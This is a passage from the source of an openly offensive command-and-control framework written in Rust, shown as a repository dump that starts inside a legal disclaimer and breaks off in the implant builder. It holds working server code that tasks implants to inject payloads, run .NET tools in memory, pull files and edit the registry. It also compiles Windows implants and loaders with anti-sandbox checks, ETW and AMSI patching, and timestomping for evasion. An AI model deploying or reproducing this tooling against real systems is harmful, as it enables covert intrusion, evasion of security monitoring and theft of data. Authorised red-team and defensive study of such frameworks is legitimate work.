and Unauthorised acts impairing operation) or equivalent laws elsewhere. ## Prohibited Conduct You must not use, distribute, or facilitate use of the Software for: - Unauthorised Access (CMA 1990, Section 1) — hacking into systems or accounts without permission. - Unauthorised Modification (CMA 1990, Section 3) — altering, deleting, or corrupting data or programs you have no right to modify. - Denial-of-Service (CMA 1990, Section 3A) — disrupting or interrupting any service, network, or application. - Malware/Ransomware Creation — writing, incorporating, or deploying code intended to extort, damage, or hold data hostage. - Any other malicious, unlawful, or harmful activities. Or equivalent offenses in other jurisdictions. **No Encouragement of Misuse:** The Author expressly **does not condone, support, or encourage** any illegal or malicious activity. This Software is provided purely for legitimate security-testing purposes, in environments where full authorisation has been granted. ## Compliance with Laws & Regulations **Local Laws**: You alone are responsible for ensuring your use of the Software complies with all applicable local, national, and international laws, regulations, and corporate policies. ## No Warranty The Software is provided “as is” and “as available”, without warranties of any kind, express or implied. We make no warranty of merchantability, fitness for a particular purpose, or non-infringement. We do not warrant that the Software is error-free, secure, or uninterrupted. ## Limitation of Liability To the fullest extent permitted by law, neither the Author nor contributors shall be liable for any: - Direct, indirect, incidental, special, punitive, or consequential damages. - Loss of revenue, profits, data, or goodwill. - Costs of procurement of substitute goods or services. This limitation applies even if we have been advised of the possibility of such damages. It is the responsibility of the professional operator to use this tool safely. ================================================ FILE: c2/Cargo.toml ================================================ [package] name = "c2" version = "0.1.0" edition = "2024" [dependencies] shared = { path = "../shared" } axum = { version = "0.8", features = ["macros", "multipart"] } serde = "1.0" tokio = { version = "1.43", features = ["full"] } serde_json = "1" dotenvy = "0.15.7" sqlx = { version = "0.8", features = ["postgres", "runtime-tokio-native-tls", "migrate"] } chrono = { version = "0.4", features = ["serde"] } shared_c2_client ={ path = "../shared_c2_client" } tokio-util = {version = "0.7.15", features = ["io"] } http-body-util = "0.1.3" rand = "0.9.1" base64 = "0.22.1" rust-crypto = "0.2.36" futures = "0.3" toml = "0.9.6" thiserror = "2.0" tower-http = { version = "0.6", features = ["cors", "catch-panic"]} axum-extra = { version = "0.12.0", features = ["cookie"] } ================================================ FILE: c2/Dockerfile ================================================ FROM lukemathwalker/cargo-chef:latest-rust-1.90-bookworm AS chef WORKDIR /app FROM chef AS planner WORKDIR /app COPY . . RUN cargo chef prepare --recipe-path recipe.json FROM chef AS builder WORKDIR /app COPY --from=planner /app/recipe.json ./recipe.json RUN cargo +nightly chef cook --release -p c2 --recipe-path recipe.json COPY . . RUN cargo +nightly build -p c2 --release FROM rust:1.90-bookworm AS runtime RUN echo "Installing environment dependencies..." RUN apt update -qq RUN apt install -qq -y build-essential \ pkg-config libssl-dev gcc-mingw-w64-x86-64 \ g++-mingw-w64-x86-64 curl libgtk-3-dev clang p7zip-full \ clang lld llvm RUN set -eux; \ if command -v llvm-lib-14 >/dev/null 2>&1; then ln -sf /usr/bin/llvm-lib-14 /usr/bin/llvm-lib; fi; \ if command -v ld.lld >/dev/null 2>&1; then ln -sf /usr/bin/ld.lld /usr/bin/lld-link; fi; \ if command -v clang >/dev/null 2>&1; then ln -sf /usr/bin/clang /usr/bin/clang-cl; fi RUN echo "Installing toolchains..." RUN rustup toolchain install nightly && rustup component add llvm-tools RUN rustup target add x86_64-pc-windows-msvc RUN rustup target add x86_64-pc-windows-msvc --toolchain nightly RUN cargo install cargo-xwin RUN rustup override set nightly EXPOSE 8087 WORKDIR /app VOLUME ["/data"] COPY --from=builder /app/target/release/c2 . COPY --from=builder /app/c2/profiles/ ./profiles COPY --from=builder /app/implant/ ./implant/ COPY --from=builder /app/shared_no_std/ ./shared_no_std/ COPY --from=builder /app/shared/ ./shared/ COPY --from=builder /app/loader/ ./loader/ RUN mkdir -p /app/implant/.tmp ENV TMPDIR=/app/implant/.tmp ENTRYPOINT ["/app/c2"] ================================================ FILE: c2/Readme.md ================================================ # C2 Before using the C2, you **SHOULD** change the default admin token and database creds found in the `../.env` for security purposes. ## TLDR - As above, edit the `../.env` file to use your own creds - this is for security purposes. - To run the C2, from the root directory (`../`) run `docker compose up -d --build c2`. On first run this may take a few minutes. - To connect to the C2, you should use the client which can be run via: `docker compose up -d --build client` and is served on port 4040 by default. - The C2 uses a docker volume `/data` to store loot as well as other persistent files. ## Info The C2 module handles only the command and control server implementation and does not deal with showing a GUI as output. That is handled by the `client` crate which you can run via docker. The C2 has logging for API endpoint access attempts, errors, and login's. **Note** there is no in-built log rotation, so you may wish to use the linux `logrotate` application to manage these. - `Logins` - This log file is managed in such a way repeat successful logins will not be recorded by an IP, only the first successful login - This will log all cases where an IP makes repeated failed logins - This log can be disabled via the `.env` file, adding: `DISABLE_ACCESS_LOG=1`. - The log file will show (by default) the plaintext password of **unsuccessful logins** for intelligence gain, this is entirely dependant upon your threat model. To turn this feature off, add `DISABLE_PLAINTXT_PW_BAD_LOGIN=1` to your `.env`. - `Access` - This log could get unwieldy and it can be disabled through the C2 `.env` file, by adding `DISABLE_ACCESS_LOG=1`. This will record all visits to endpoint URI's and record if the access was legitimate (from an agent) or not (scanners, researchers, etc). It is enabled by default and you should consider manually pruning the log, or automating with `logrotate` - `Error` - A simple log file which shows C2 error messages to assist in bug reporting / debugging - This log file cannot be disabled ================================================ FILE: c2/migrations/20250614124105_agent_table.sql ================================================ -- Add migration script here CREATE TABLE agents ( id SERIAL PRIMARY KEY, first_check_in TIMESTAMPTZ DEFAULT now() ); ================================================ FILE: c2/migrations/20250614124140_add_sleep.sql ================================================ ALTER TABLE agents ADD COLUMN sleep BIGINT; ================================================ FILE: c2/migrations/20250614132037_tasks.sql ================================================ -- Add migration script here CREATE TABLE tasks ( id SERIAL PRIMARY KEY, uid TEXT NOT NULL, data TEXT ); ================================================ FILE: c2/migrations/20250615070633_flesh_table.sql ================================================ -- Add migration script here ALTER TABLE tasks ADD COLUMN completed BOOLEAN NOT NULL DEFAULT FALSE, ADD COLUMN agent_id INTEGER NOT NULL, ADD CONSTRAINT fk_tasks_agent FOREIGN KEY (agent_id) REFERENCES agents (id) ON DELETE CASCADE; CREATE INDEX idx_tasks_incomplete ON tasks (agent_id) WHERE completed = FALSE; ================================================ FILE: c2/migrations/20250615072852_add_col_back_tasks.sql ================================================ -- Add migration script here ALTER TABLE tasks ADD COLUMN command_id INT; ================================================ FILE: c2/migrations/20250615085223_add_uid.sql ================================================ -- Add migration script here ALTER TABLE agents ADD COLUMN uid TEXT; ================================================ FILE: c2/migrations/20250615085245_add_uid.sql ================================================ -- Add migration script here ================================================ FILE: c2/migrations/20250615211204_rm_col_from_tasks.sql ================================================ -- Add migration script here ALTER TABLE public.tasks DROP COLUMN IF EXISTS uid; ================================================ FILE: c2/migrations/20250616171233_ch_col.sql ================================================ -- Add migration script here BEGIN; ALTER TABLE tasks DROP CONSTRAINT IF EXISTS fk_tasks_agent; DROP INDEX IF EXISTS idx_tasks_incomplete; ALTER TABLE agents ADD CONSTRAINT uq_agents_uid UNIQUE(uid); ALTER TABLE tasks ADD COLUMN new_agent_id TEXT NOT NULL DEFAULT ''; UPDATE tasks SET new_agent_id = agents.uid FROM agents WHERE tasks.agent_id = agents.id; ALTER TABLE tasks DROP COLUMN agent_id; ALTER TABLE tasks RENAME COLUMN new_agent_id TO agent_id; ALTER TABLE tasks ADD CONSTRAINT fk_tasks_agent FOREIGN KEY (agent_id) REFERENCES agents(uid) ON DELETE CASCADE; CREATE INDEX idx_tasks_incomplete ON tasks (agent_id) WHERE completed = FALSE; COMMIT; ================================================ FILE: c2/migrations/20250619055731_results_table.sql ================================================ -- Add migration script here CREATE TABLE completed_tasks ( id SERIAL PRIMARY KEY, task_id INT NOT NULL, result TEXT, client_pulled_update BOOLEAN NOT NULL DEFAULT FALSE, time_completed TIMESTAMPTZ NOT NULL DEFAULT now() ); ================================================ FILE: c2/migrations/20250621175632_add_time.sql ================================================ -- Add migration script here ALTER TABLE agents ADD COLUMN last_check_in TIMESTAMPTZ DEFAULT now(); ================================================ FILE: c2/migrations/20250621180355_add_time.sql ================================================ -- Add migration script here ================================================ FILE: c2/migrations/20250622075242_agent_staging.sql ================================================ -- Add migration script here CREATE TABLE agent_staging ( id SERIAL PRIMARY KEY, date_added TIMESTAMPTZ DEFAULT now(), agent_name TEXT NOT NULL, host TEXT NOT NULL, c2_endpoint TEXT NOT NULL, staged_endpoint TEXT NOT NULL, sleep_time INT NOT NULL ); ================================================ FILE: c2/migrations/20250622080004_protect_staging.sql ================================================ -- Add migration script here ALTER TABLE agent_staging ADD CONSTRAINT uq_agent_name UNIQUE (agent_name), ADD CONSTRAINT uq_c2_endpoint UNIQUE (c2_endpoint), ADD CONSTRAINT uq_staged_endpoint UNIQUE (staged_endpoint); ================================================ FILE: c2/migrations/20250622080748_remove_constraint.sql ================================================ -- Add migration script here ALTER TABLE agent_staging DROP CONSTRAINT IF EXISTS uq_c2_endpoint; ================================================ FILE: c2/migrations/20250622083052_add_col_staging.sql ================================================ -- Add migration script here ALTER TABLE agents ADD COLUMN pe_name TEXT; UPDATE agents SET pe_name = 'oops' WHERE pe_name IS NULL; ALTER TABLE agents ALTER COLUMN pe_name SET NOT NULL; ================================================ FILE: c2/migrations/20250622094131_add_col_staging_again.sql ================================================ ALTER TABLE agent_staging ADD COLUMN pe_name TEXT NOT NULL; ================================================ FILE: c2/migrations/20250622094232_del_col_agent.sql ================================================ -- Add migration script here ALTER TABLE agents DROP COLUMN pe_name; ================================================ FILE: c2/migrations/20250622122051_protect_pe_name.sql ================================================ -- Add migration script here ALTER TABLE agent_staging ADD CONSTRAINT uq_pe_name UNIQUE (pe_name); ================================================ FILE: c2/migrations/20250622130349_port_to_agent_staging.sql ================================================ -- Add migration script here ALTER TABLE agent_staging ADD COLUMN port INT NOT NULL; ================================================ FILE: c2/migrations/20250622154423_operator_table.sql ================================================ -- Add migration script here CREATE TABLE operators ( id SERIAL PRIMARY KEY, date_created TIMESTAMPTZ DEFAULT now(), username TEXT NOT NULL, password_hash TEXT NOT NULL, salt TEXT NOT NULL ); ================================================ FILE: c2/migrations/20250622161952_db_add_cstr.sql ================================================ -- Add migration script here ALTER TABLE operators ADD CONSTRAINT uq_username_operator UNIQUE (username); ================================================ FILE: c2/migrations/20250624164511_col_for_toks.sql ================================================ -- Add migration script here ALTER TABLE agent_staging ADD COLUMN security_token TEXT NOT NULL; ================================================ FILE: c2/migrations/20250627184526_default_env.sql ================================================ -- actually, not needed ================================================ FILE: c2/migrations/20250712164452_update_field_for_sleep.sql ================================================ ALTER TABLE agent_staging ALTER COLUMN sleep_time TYPE BIGINT; ================================================ FILE: c2/migrations/20250712164815_update_field_for_prt.sql ================================================ ALTER TABLE agent_staging ALTER COLUMN port TYPE INT; ================================================ FILE: c2/migrations/20250712165040_update_field_for_prt_again.sql ================================================ ALTER TABLE agent_staging ALTER COLUMN port TYPE SMALLINT; ================================================ FILE: c2/migrations/20250719090503_rm_constraint_upload.sql ================================================ -- Add migration script here ALTER TABLE agent_staging DROP CONSTRAINT IF EXISTS uq_agent_name; ================================================ FILE: c2/migrations/20250727101559_xor_payload.sql ================================================ -- Add migration script here ALTER TABLE agent_staging ADD COLUMN xor_key smallint DEFAULT 0; ================================================ FILE: c2/migrations/20251025085314_update_time_completed_field.sql ================================================ -- Add migration script here ALTER TABLE completed_tasks ALTER COLUMN time_completed DROP DEFAULT; ================================================ FILE: c2/migrations/20251026120715_change_dt_field.sql ================================================ -- Add migration script here -- ALTER TABLE completed_tasks -- ALTER COLUMN time_completed TYPE BIGINT -- USING time_completed::bigint; ================================================ FILE: c2/migrations/20251026121136_change_dt_field_2.sql ================================================ -- Add migration script here ALTER TABLE completed_tasks ADD COLUMN time_completed_ms BIGINT NOT NULL DEFAULT ((EXTRACT(EPOCH FROM now()) * 1000)::BIGINT); UPDATE completed_tasks SET time_completed_ms = ((EXTRACT(EPOCH FROM time_completed) * 1000)::BIGINT) WHERE time_completed IS NOT NULL; ================================================ FILE: c2/migrations/20251026122000_time_comp_rm.sql ================================================ -- Add migration script here ALTER TABLE completed_tasks DROP COLUMN time_completed; ================================================ FILE: c2/migrations/20251026144632_add_agent_id_to_ct.sql ================================================ -- Add migration script here ALTER TABLE completed_tasks ADD COLUMN agent_id TEXT; ALTER TABLE completed_tasks ADD COLUMN command_id INT; ================================================ FILE: c2/migrations/20251119185937_add_pulled_col.sql ================================================ -- Add migration script here ALTER TABLE tasks ADD COLUMN fetched BOOL; ================================================ FILE: c2/migrations/20251127184944_download_col.sql ================================================ -- Add migration script here ALTER TABLE agent_staging ADD COLUMN num_downloads INT NOT NULL DEFAULT 0; ================================================ FILE: c2/migrations/20251127193415_make_bigint.sql ================================================ ALTER TABLE agent_staging ALTER COLUMN num_downloads TYPE BIGINT; ALTER TABLE agent_staging ALTER COLUMN num_downloads SET DEFAULT 0; ================================================ FILE: c2/migrations/20251207091938_beacon_console_line.sql ================================================ -- Add migration script here INSERT INTO agents (uid, sleep) VALUES ('doesntmatterwhatthisis', 1); ================================================ FILE: c2/migrations/20251207092341_testagent.sql ================================================ -- Add migration script here INSERT INTO tasks (agent_id, fetched) VALUES ('doesntmatterwhatthisis', false); ================================================ FILE: c2/migrations/20251215120000_completed_tasks_pending_idx.sql ================================================ -- Add migration script here CREATE INDEX IF NOT EXISTS idx_completed_tasks_agent_pending ON completed_tasks (agent_id) WHERE client_pulled_update = FALSE; ================================================ FILE: c2/migrations/20251215123000_tasks_fetched_default.sql ================================================ -- Add migration script here UPDATE tasks SET fetched = FALSE WHERE fetched IS NULL; ALTER TABLE tasks ALTER COLUMN fetched SET DEFAULT FALSE; ALTER TABLE tasks ALTER COLUMN fetched SET NOT NULL; ================================================ FILE: c2/src/admin_task_dispatch/dispatch_table.rs ================================================ use std::sync::Arc; use crate::{ admin_task_dispatch::{ delete_staged_resources, drop_file_handler, execute::{SpawnInject, dotex, spawn_inject_with_network_resource}, export_completed_tasks_to_json, implant_builder::stage_file_upload_from_users_disk, list_agents, list_staged_resources, remove_agent_from_list, show_server_time, task_agent, task_agent_sleep, }, app_state::AppState, logging::log_error_async, }; use axum::extract::State; use serde_json::Value; use shared::tasks::{AdminCommand, Command}; /// Main dispatcher for admin commands issued on the server, which may, or may not, include an /// implant UID. pub async fn admin_dispatch( uid: Option, command: AdminCommand, state: State>, ) -> Vec { // Note, due to the use of generics with the function `task_agent`, if you are passing `None` // into the function, you will have to turbofish a type which does implement ToString - so, // to keep it simple, just turbofish String - it will be discarded as the `None` path will be // taken let result: Option = match command { AdminCommand::Sleep(time) => task_agent_sleep(time, uid.unwrap(), state).await, AdminCommand::ListAgents => list_agents(state).await, AdminCommand::ListProcesses => { task_agent::(Command::Ps, None, uid.unwrap(), state).await } AdminCommand::GetUsername => todo!(), AdminCommand::ListUsersDirs => { task_agent::(Command::Pillage, None, uid.unwrap(), state).await } AdminCommand::Pwd => task_agent::(Command::Pwd, None, uid.unwrap(), state).await, AdminCommand::Cd(path_buf) => { task_agent(Command::Cd, Some(path_buf), uid.unwrap(), state).await } AdminCommand::KillAgent => { task_agent::(Command::KillAgent, None, uid.unwrap(), state).await } AdminCommand::Ls => task_agent::(Command::Ls, None, uid.unwrap(), state).await, AdminCommand::ShowServerTime => show_server_time(), AdminCommand::Login => Some(serde_json::to_value("success").unwrap()), AdminCommand::ListStagedResources => list_staged_resources(state).await, AdminCommand::Run(args) => task_agent(Command::Run, Some(args), uid.unwrap(), state).await, AdminCommand::DeleteStagedResource(download_endpoint) => { delete_staged_resources(state, download_endpoint).await } AdminCommand::RemoveAgentFromList => remove_agent_from_list(state, uid.unwrap()).await, AdminCommand::Undefined => panic!("This should never happen."), AdminCommand::StageFileOnC2(metadata) => { stage_file_upload_from_users_disk(metadata, state).await } AdminCommand::KillProcessById(pid) => { task_agent::(Command::KillProcess, Some(pid), uid.unwrap(), state).await } AdminCommand::Drop(data) => drop_file_handler(uid, data, state).await, AdminCommand::Copy(inner) => { // Serialise the (String, String) to just a String so we can use it with the // generic task_agent. let inner_serialised = match serde_json::to_string(&inner) { Ok(s) => Some(s), Err(e) => { log_error_async(&e.to_string()).await; None } }; if inner_serialised.is_some() { task_agent::(Command::Copy, inner_serialised, uid.unwrap(), state).await } else { None } } AdminCommand::Move(inner) => { // Serialise the (String, String) to just a String so we can use it with the // generic task_agent. let inner_serialised = match serde_json::to_string(&inner) { Ok(s) => Some(s), Err(e) => { log_error_async(&e.to_string()).await; None } }; if inner_serialised.is_some() { task_agent::(Command::Move, inner_serialised, uid.unwrap(), state).await } else { // Error logged in above failure path None } } AdminCommand::Pull(file_path) => { task_agent(Command::Pull, Some(file_path), uid.unwrap(), state).await } AdminCommand::BuildAllBins(_) => None, AdminCommand::RegQuery(data) => match serde_json::to_string(&data) { Ok(s) => task_agent(Command::RegQuery, Some(s), uid.unwrap(), state).await, Err(e) => { log_error_async(&e.to_string()).await; None } }, AdminCommand::RegAdd(data) => match serde_json::to_string(&data) { Ok(s) => task_agent(Command::RegAdd, Some(s), uid.unwrap(), state).await, Err(e) => { log_error_async(&e.to_string()).await; None } }, AdminCommand::RegDelete(data) => match serde_json::to_string(&data) { Ok(s) => task_agent(Command::RegDelete, Some(s), uid.unwrap(), state).await, Err(e) => { log_error_async(&e.to_string()).await; None } }, AdminCommand::RmFile(data) => match serde_json::to_string(&data) { Ok(s) => task_agent(Command::RmFile, Some(s), uid.unwrap(), state).await, Err(e) => { log_error_async(&e.to_string()).await; None } }, AdminCommand::RmDir(data) => match serde_json::to_string(&data) { Ok(s) => task_agent(Command::RmDir, Some(s), uid.unwrap(), state).await, Err(e) => { log_error_async(&e.to_string()).await; None } }, AdminCommand::ExportDb => export_completed_tasks_to_json(uid.unwrap(), state).await, AdminCommand::None => None, AdminCommand::DotEx(dot_ex_inner) => dotex(uid, dot_ex_inner, state.clone()).await, AdminCommand::WhoAmI => { task_agent::(Command::WhoAmI, None, uid.unwrap(), state).await } AdminCommand::Spawn(download_name) => { spawn_inject_with_network_resource( uid, SpawnInject::Spawn(download_name), state.clone(), ) .await } AdminCommand::StaticWof(name) => { task_agent::(Command::StaticWof, Some(name), uid.unwrap(), state).await } AdminCommand::Inject(inject_inner) => { spawn_inject_with_network_resource( uid, SpawnInject::Inject(inject_inner), state.clone(), ) .await } }; serde_json::to_vec(&result).unwrap() } ================================================ FILE: c2/src/admin_task_dispatch/execute.rs ================================================ use std::{path::PathBuf, sync::Arc}; use axum::extract::State; use serde_json::Value; use shared::{ task_types::DotExDataForImplant, tasks::{Command, DotExInner, InjectInnerForAdmin, InjectInnerForPayload}, }; use crate::{ TOOLS_PATH, admin_task_dispatch::task_agent, app_state::AppState, logging::log_error_async, }; /// Executes dotnet in the current process pub async fn dotex( uid: Option, data: DotExInner, state: State>, ) -> Option { let mut path_to_tool = PathBuf::from(TOOLS_PATH); path_to_tool.push(data.tool_path); // Read the tool, ret an error wrapped in an Option if it happens.. I regret this pattern rn let tool_data = match tokio::fs::read(path_to_tool).await { Ok(f) => f, Err(e) => { let msg = format!("Could not read file. {e}"); log_error_async(&msg).await; return Some(serde_json::to_value(msg).unwrap()); } }; let metadata: DotExDataForImplant = (tool_data, data.args); let meta_ser = serde_json::to_string(&metadata).unwrap(); let _ = task_agent(Command::DotEx, Some(meta_ser), uid.unwrap(), state).await; None } type InternalName = String; /// Options for preparing the delivery of the inject inner payload pub enum SpawnInject { Spawn(InternalName), /// Inject options include the pid Inject(InjectInnerForAdmin), } pub async fn spawn_inject_with_network_resource( uid: Option, type_of: SpawnInject, state: State>, ) -> Option { let state_cl = state.clone(); let endpoints = { let tmp = state_cl.endpoints.read().await; tmp.clone() }; let internal_name = match type_of { SpawnInject::Spawn(ref s) => &s, SpawnInject::Inject(ref inject_inner_for_admin) => &inject_inner_for_admin.download_name, }; let file_data = match endpoints .read_staged_file_by_file_name(&internal_name) .await { Ok(buf) => buf, Err(e) => { let msg = format!("Failed to read file data for spawn/inject. {}", e); log_error_async(&msg).await; return None; } }; drop(endpoints); match type_of { SpawnInject::Spawn(_) => { let ser = match serde_json::to_string(&file_data) { Ok(s) => s, Err(e) => { let msg = format!("Failed to serialise file data for spawn/inject. {}", e); log_error_async(&msg).await; return None; } }; task_agent::(Command::Spawn, Some(ser), uid.unwrap(), state).await } SpawnInject::Inject(inner) => { let constructed_for_wyrm = InjectInnerForPayload { payload_bytes: file_data, pid: inner.pid, }; let ser = match serde_json::to_string(&constructed_for_wyrm) { Ok(s) => s, Err(e) => { let msg = format!("Failed to serialise file data for spawn/inject. {}", e); log_error_async(&msg).await; return None; } }; task_agent::(Command::Inject, Some(ser), uid.unwrap(), state).await } } } ================================================ FILE: c2/src/admin_task_dispatch/implant_builder.rs ================================================ use std::{ env::current_dir, fs::create_dir_all, path::{Path, PathBuf}, sync::Arc, }; use axum::extract::State; use serde_json::Value; use shared::tasks::{FileUploadStagingFromClient, NewAgentStaging, StageType, WyrmResult}; use tokio::{ fs, io::{self, AsyncReadExt}, }; use crate::{ FILE_STORE_PATH, WOFS_PATH, admin_task_dispatch::{ add_api_endpoint_for_staged_resource, is_download_staging_url_error, remove_dir, remove_file, }, app_state::AppState, logging::log_error_async, pe_utils::{scrub_strings, timestomp_binary_compile_date}, profiles::{Profile, parse_exports_to_string_for_env}, }; const FULLY_QUAL_PATH_TO_FILE_BUILD: &str = "/app/profiles/tmp"; /// Builds all binaries from a given profile /// /// On success, this function returns None, otherwise an Error is encoded within a `Value` as a `WyrmResult` pub async fn build_all_bins( implant_profile_name: &String, state: State>, ) -> Result, String> { // Save into tmp within profiles, we will delete it on completion. let save_path = PathBuf::from("./profiles/tmp"); create_dir_all(&save_path).map_err(|e| { format!( "Failed to create tmp directory on c2 for profile staging. {}", e.kind() ) })?; let profile = { // We use the saved profile in memory let guard = state.profile.read().await; (*guard).clone() }; // // If we are building all binaries, iterate through them, otherwise just build hte specified one // if implant_profile_name.to_lowercase() == "all" { let keys: Vec = profile.implants.keys().cloned().collect(); for key in keys { write_implant_to_tmp_folder(&profile, &save_path, &key, state.clone()).await?; } } else { write_implant_to_tmp_folder(&profile, &save_path, implant_profile_name, state.clone()) .await?; } // // Finally zip up the result, and return them back to the user. // const ZIP_OUTPUT_PATH: &str = "./profiles/tmp.7z"; let mut cmd = tokio::process::Command::new("7z"); cmd.args([ "a", ZIP_OUTPUT_PATH, &format!("{}", save_path.as_os_str().display()), ]); if let Err(e) = cmd.output().await { let msg = format!("Error creating 7z archive with resulting payloads. {e}"); let _ = remove_dir(&save_path).await?; return Err(msg); }; // // At this point, we have created the 7z. We now want to read it into a buffer in memory, // delete the archive, then return the buffer back to the user. We will send it through as a // byte stream, which the client can then re-interpret as a file download. // let _ = remove_dir(&save_path).await?; let mut buf = Vec::new(); let mut file = match tokio::fs::File::open(ZIP_OUTPUT_PATH).await { Ok(f) => f, Err(e) => { let msg = format!("Error opening 7z file. {e}"); let _ = remove_dir(&save_path).await?; return Err(msg); } }; if let Err(e) = file.read_to_end(&mut buf).await { let msg = format!("Error reading 7z file. {e}"); let _ = remove_dir(&save_path).await?; return Err(msg); } remove_file(ZIP_OUTPUT_PATH).await?; Ok(buf) } async fn write_loader_to_tmp( profile: &Profile, save_path: &PathBuf, implant_profile_name: &str, dll_path: &PathBuf, ) -> Result<(), String> { let data: NewAgentStaging = match profile.as_staged_agent(implant_profile_name, StageType::All) { WyrmResult::Ok(d) => d, WyrmResult::Err(e) => { let _ = remove_dir(&save_path).await?; let msg = format!("Error constructing a NewAgentStaging. {e:?}"); log_error_async(&msg).await; return Err(msg); } }; // // For every build type, build it - we manually specify the loop size here so as more // build options are added, the loop will need to be increased to accommodate. // for i in 0..3 { let stage_type = match i { 0 => StageType::Exe, 1 => StageType::Dll, 2 => StageType::Svc, _ => unreachable!(), }; let cmd_build_output = compile_loader(&data, stage_type, dll_path).await; if let Err(e) = cmd_build_output { let msg = &format!("Failed to build loader. {e}"); let _ = remove_dir(&save_path).await?; return Err(msg.to_owned()); } let output = cmd_build_output.unwrap(); if !output.status.success() { let msg = &format!( "Failed to build loader. {:#?}", String::from_utf8_lossy(&output.stderr), ); let _ = remove_dir(&save_path).await?; return Err(msg.to_owned()); } // // Move the built implant to where the operator requested it to be built in // let src_dir = if cfg!(windows) { PathBuf::from(format!("./loader/target/release")) } else { PathBuf::from(format!("./loader/target/x86_64-pc-windows-msvc/release")) }; let out_dir = Path::new(&save_path); let src = match stage_type { StageType::Dll => src_dir.join("loader.dll"), StageType::Exe => src_dir.join("loader.exe"), StageType::Svc => src_dir.join("loader_svc.exe"), StageType::All => unreachable!(), }; // Format each output file name as loader_{profile name from toml} let ldr_name_fmt = format!("loader_{}", data.pe_name); let mut dest = out_dir.join(ldr_name_fmt); if !(match stage_type { StageType::Dll => dest.add_extension("dll"), StageType::Exe => dest.add_extension("exe"), StageType::Svc => dest.add_extension("svc"), StageType::All => unreachable!(), }) { let msg = format!("Failed to add extension to local file. {dest:?}"); let _ = remove_dir(&save_path).await?; return Err(msg); }; // Error check.. if let Err(e) = tokio::fs::rename(&src, &dest).await { let cwd = current_dir().expect("could not get cwd"); let msg = format!( "Failed to rename built loader - it is *possible* you interrupted the request/page, looking for: {}, to rename to: {}. Cwd: {cwd:?} {e}", src.display(), dest.display() ); let _ = remove_dir(&save_path).await?; return Err(msg); }; // Apply relevant transformations to the loader too post_process_pe_on_disk(&dest, &data, stage_type).await; } Ok(()) } async fn compile_loader( data: &NewAgentStaging, stage_type: StageType, dll_path: &Path, ) -> Result { if stage_type == StageType::All { return Err(io::Error::other("StageType::All not supported")); } let build_as_flags = match stage_type { StageType::Dll => vec!["--lib"], StageType::Exe => vec!["--bin", "loader"], StageType::Svc => vec!["--bin", "loader_svc"], StageType::All => vec![], }; // Check for any feature flags from the profile let features: Vec = { let mut builder = vec!["--features".to_string()]; let mut string_builder = String::new(); if data.antisandbox_ram { string_builder.push_str("sandbox_mem,"); } if data.antisandbox_trig { string_builder.push_str("sandbox_trig,"); } if data.patch_etw { string_builder.push_str("patch_etw,"); } if !string_builder.is_empty() { builder.push(string_builder); builder } else { vec![] } }; let target = if cfg!(windows) { None } else { Some("x86_64-pc-windows-msvc") }; let mut cmd = if !cfg!(windows) { tokio::process::Command::new("cargo-xwin") } else { tokio::process::Command::new("cargo") }; let exports = parse_exports_to_string_for_env(&data.exports); cmd.current_dir("./loader") .env("SVC_NAME", data.svc_name.clone()) .env("EXPORTS_JMP_WYRM", exports.export_only_jmp_wyrm) .env("EXPORTS_USR_MACHINE_CODE", exports.export_machine_code) .env("EXPORTS_PROXY", exports.export_proxy) .env("DLL_PATH", dll_path) .env("MUTEX", &data.mutex.clone().unwrap_or_default()); cmd.arg("build"); if let Some(t) = target { cmd.args(["--target", t]); } cmd.arg("--release"); cmd.args(build_as_flags).args(features); cmd.output().await } /// Builds the specified agent as a PE. /// /// # Important /// The PE name passed into this function should NOT include its extension. pub async fn compile_agent( data: &NewAgentStaging, stage_type: StageType, ) -> Result { // // Try insert the data into the db. We have some constraints on the db so that it cannot stage // at duplicate endpoints, or with duplicate names, etc. // if stage_type == StageType::All { return Err(io::Error::other("StageType::All not supported")); } let pe_name = validate_extension(&data.pe_name, stage_type); // Check for any feature flags let features: Vec = { let mut builder = vec!["--features".to_string()]; let mut string_builder = String::new(); if data.antisandbox_ram { string_builder.push_str("sandbox_mem,"); } if data.antisandbox_trig { string_builder.push_str("sandbox_trig,"); } if data.patch_etw { string_builder.push_str("patch_etw,"); } if data.patch_amsi { string_builder.push_str("patch_amsi,"); } if !string_builder.is_empty() { builder.push(string_builder); builder } else { vec![] } }; let build_as_flags = match stage_type { StageType::Dll => vec!["--lib"], StageType::Exe => vec!["--bin", "implant"], StageType::Svc => vec!["--bin", "implant_svc"], StageType::All => vec![], }; // // Now we want to actually build the agent itself. We will do this on the C2, building the // agent via the local command shell. // // As operators shouldn't be doing this frequently, I can't see much harm in terms of CPU and // memory, but this may need to be profiled. // // We are also relying on the C2 being run from the correct point as pathing here is going to be // relative to allow flexibility on server installations. The C2 must run from the c2 crate directly // for the pathing to work. // let toolchain = "nightly"; let target = if cfg!(windows) { None } else { Some("x86_64-pc-windows-msvc") }; let mut cmd = if !cfg!(windows) { tokio::process::Command::new("cargo-xwin") } else { tokio::process::Command::new("cargo") }; let default_spawn_as = data.default_spawn_as.clone().unwrap_or_default(); let c2_endpoints = data .c2_endpoints .iter() .map(|e| e.to_string() + ",") .collect::(); let jitter = data.jitter.unwrap_or_default(); let exports = parse_exports_to_string_for_env(&data.exports); let wofs = match &data.wofs { Some(w) => w .iter() .map(|folder| format!("{}/{folder};", WOFS_PATH)) .collect::(), None => String::new(), }; cmd.env("RUSTUP_TOOLCHAIN", toolchain) .current_dir("./implant") .env("AGENT_NAME", &data.implant_name) .env("PE_NAME", pe_name) .env("DEF_SLEEP_TIME", data.default_sleep_time.to_string()) .env("C2_HOST", &data.c2_address) .env("C2_URIS", c2_endpoints) .env("C2_PORT", data.port.to_string()) .env("JITTER", jitter.to_string()) .env("SVC_NAME", data.svc_name.clone()) .env("USERAGENT", &data.useragent) .env("STAGING_URI", &data.staging_endpoint) .env("EXPORTS_JMP_WYRM", exports.export_only_jmp_wyrm) .env("EXPORTS_USR_MACHINE_CODE", exports.export_machine_code) .env("EXPORTS_PROXY", exports.export_proxy) .env("SECURITY_TOKEN", &data.agent_security_token) .env("STAGE_TYPE", format!("{stage_type}")) .env("DEFAULT_SPAWN_AS", default_spawn_as) .env("WOF", wofs) .env("MUTEX", &data.mutex.clone().unwrap_or_default()); cmd.arg("build"); if let Some(t) = target { cmd.args(["--target", t]); } if !data.build_debug { cmd.arg("--release"); } cmd.args(build_as_flags).args(features); cmd.output().await } pub async fn post_process_pe_on_disk(dest: &Path, data: &NewAgentStaging, stage_type: StageType) { // // If the user profile specifies to timestomp the binary, then try do that - if it fails we do not want to allow // the bad file to be 